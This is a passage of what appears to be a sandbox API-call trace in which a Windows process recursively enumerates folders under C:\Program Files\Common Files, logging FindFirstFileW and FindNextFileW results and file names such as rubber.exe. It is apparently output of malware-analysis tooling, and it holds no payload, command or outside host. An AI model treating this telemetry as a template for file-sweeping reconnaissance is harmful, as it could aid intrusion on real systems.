ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0034.928] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.928] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.928] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0034.928] FindClose (in: hFindFile=0x3ec01f0 | out: hFindFile=0x3ec01f0) returned 1 [0034.928] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0034.929] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe41470, ftCreationTime.dwHighDateTime=0x1d4f1d2, ftLastAccessTime.dwLowDateTime=0x92d1ef70, ftLastAccessTime.dwHighDateTime=0x1d50ac3, ftLastWriteTime.dwLowDateTime=0x92d1ef70, ftLastWriteTime.dwHighDateTime=0x1d50ac3, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rubber.exe", cAlternateFileName="")) returned 1 [0034.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01f0 [0034.929] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.929] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0034.929] FindClose (in: hFindFile=0x3ec01f0 | out: hFindFile=0x3ec01f0) returned 1 [0034.929] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0034.929] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0034.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01f0 [0034.929] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.930] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0034.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0034.930] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.930] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0034.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0034.931] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.931] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0034.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0034.931] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.931] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0034.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0034.932] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.932] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0034.932] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0034.932] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0034.932] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0034.932] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0034.932] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f11080 | out: hHeap=0x4b0000) returned 1 [0034.934] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0034.934] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0034.934] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0034.934] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0034.934] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.934] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.934] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0034.934] FindClose (in: hFindFile=0x3ec01f0 | out: hFindFile=0x3ec01f0) returned 1 [0034.934] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0034.934] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0034.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01f0 [0034.936] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.936] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0034.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0034.938] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.938] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0034.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0034.938] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.938] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0034.938] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0034.938] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0034.938] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0034.939] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.939] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.939] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0034.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0034.939] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.939] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0034.940] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.940] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.940] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0034.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0034.942] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: 